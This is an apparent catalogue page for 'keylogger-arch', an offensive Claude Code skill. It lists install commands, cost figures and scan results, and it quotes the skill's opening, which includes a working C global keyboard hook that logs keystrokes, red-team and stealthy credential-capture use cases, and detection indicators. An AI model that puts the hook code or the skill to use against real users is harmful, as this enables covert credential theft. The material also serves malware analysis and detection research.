keylogger-arch

keylogger-arch is a skill for Claude Code from hypnguyen1209/offensive-claude. It costs 0 tokens per session (1,699 once invoked), scanned A, original, MIT.

A guide to capturing and analysing keyboard input on Windows, including the system mechanisms used to observe keystrokes. It also discusses how such monitoring can be hidden and detected.

In plain words
What is it for?
Researching input-capture methods, analysing keylogging malware, examining Windows hooks and raw input, and investigating related endpoint-detection signals.
Why use it?
It explains how keystroke capture works so security teams can study credential-stealing malware and identify its traces.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Part of the offensive-claude plugin — 30 skills, 18 commands, 8 agents, 1 hook shipped together

Good fit Researching input-capture methods, analysing keylogging malware, examining Windows hooks and raw input, and investigating related endpoint-detection signals.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/hypnguyen1209/offensive-claude/keylogger-arch
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add hypnguyen1209/offensive-claude --skill keylogger-arch
Clone the repo
git clone --depth 1 https://github.com/hypnguyen1209/offensive-claude

Made for: Claude Code.

Or install offensive-claude, the plugin that ships this one along with the rest of its 30 skills, 18 commands, 8 agents, 1 hook.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for keylogger-arch

README.md
[![agentmods](https://agentmods.dev/badge/skills/hypnguyen1209/offensive-claude/keylogger-arch/github.svg)](https://agentmods.dev/skills/hypnguyen1209/offensive-claude/keylogger-arch)
Your own site
<a href="https://agentmods.dev/skills/hypnguyen1209/offensive-claude/keylogger-arch"><img src="https://agentmods.dev/badge/skills/hypnguyen1209/offensive-claude/keylogger-arch/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for keylogger-arch

Your own site · 80×15
<a href="https://agentmods.dev/skills/hypnguyen1209/offensive-claude/keylogger-arch"><img src="https://agentmods.dev/badge/skills/hypnguyen1209/offensive-claude/keylogger-arch.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 0 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,699 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 1 finding, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high YARA Match · line 26
    YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).
    Fix: Remove the malware payload or compromised file entirely. Investigate how it entered the skill and audit all other artifacts for additional indicators of compromise.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00000 $0.01699
Opus 5 $0.00000 $0.00849
Sonnet 5 $0.00000 $0.00340
Haiku 4.5 $0.00000 $0.00170

Measured 12d ago against content hash 6c972916a8a5, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-12, from the pricing page.

Security

Grade A, and why

keylogger-arch scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 12d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

Origin

Copies of this mod

1 near-identical copy found in the catalogue:

skills/keylogger-arch/SKILL.md · 204 lines

How it starts

The opening of the file, as written. The whole thing — 204 lines — stays where its author put it; the contents beside it link to each section on GitHub.


name: keylogger-architecture description: Use when designing or analyzing keystroke/input capture — SetWindowsHookEx, raw input devices, ETW-based capture, kernel drivers, stealth techniques and their IOCs metadata: type: offensive phase: research kill_chain: phase: [install, actions] step: [5, 7] attck_tactics: [TA0003, TA0009] depends_on: [privesc-windows, edr-evasion] feeds_into: [red-team-ops] inputs: [target_os, edr_product] outputs: [keylogger_binary, captured_input]

Keylogger Architecture

When to Activate

  • Understanding input capture mechanisms for red team implants
  • Analyzing malware keylogging capabilities
  • EDR evasion research for input monitoring
  • Designing stealthy credential capture

Method 1: SetWindowsHookEx (WH_KEYBOARD_LL)

How It Works

// Install global low-level keyboard hook
HHOOK hHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hInstance, 0);

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode == HC_ACTION) {
        KBDLLHOOKSTRUCT *kb = (KBDLLHOOKSTRUCT*)lParam;
        if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
            LogKey(kb->vkCode);
        }
    }
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}

// MUST pump messages — hook won't fire without message loop
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
    TranslateMessage(&msg);
    DispatchMessage(&msg);
}

Internal Mechanism

  1. SetWindowsHookExNtUserSetWindowsHookEx in win32k.sys
  2. Kernel creates HOOK structure, inserts at head of global hook chain
  3. Low-level hooks (WH_KEYBOARD_LL): NO DLL injection — events delivered via internal message to installing process
  4. Regular hooks (WH_KEYBOARD): DLL injected into every target process via APC

IOCs

  • Hook entry visible in !hook WinDbg command
  • Installing thread must pump messages (detectable by message queue footprint)
  • If regular hook: mapped DLL in every hooked process (VAD artifact)
  • EDR can hook user32!SetWindowsHookEx to detect installation

Read the full file on GitHub · 204 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 12d ago First seen · 204 lines · 0 tokens per session scan A 6c972916a8a5

Subscribe to this mod's changes

keylogger-arch is a skill published in the GitHub repository hypnguyen1209/offensive-claude (360 stars, last pushed 26d ago), licensed MIT. It costs nothing until one of its globs matches a file; then it loads 1,699 tokens. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

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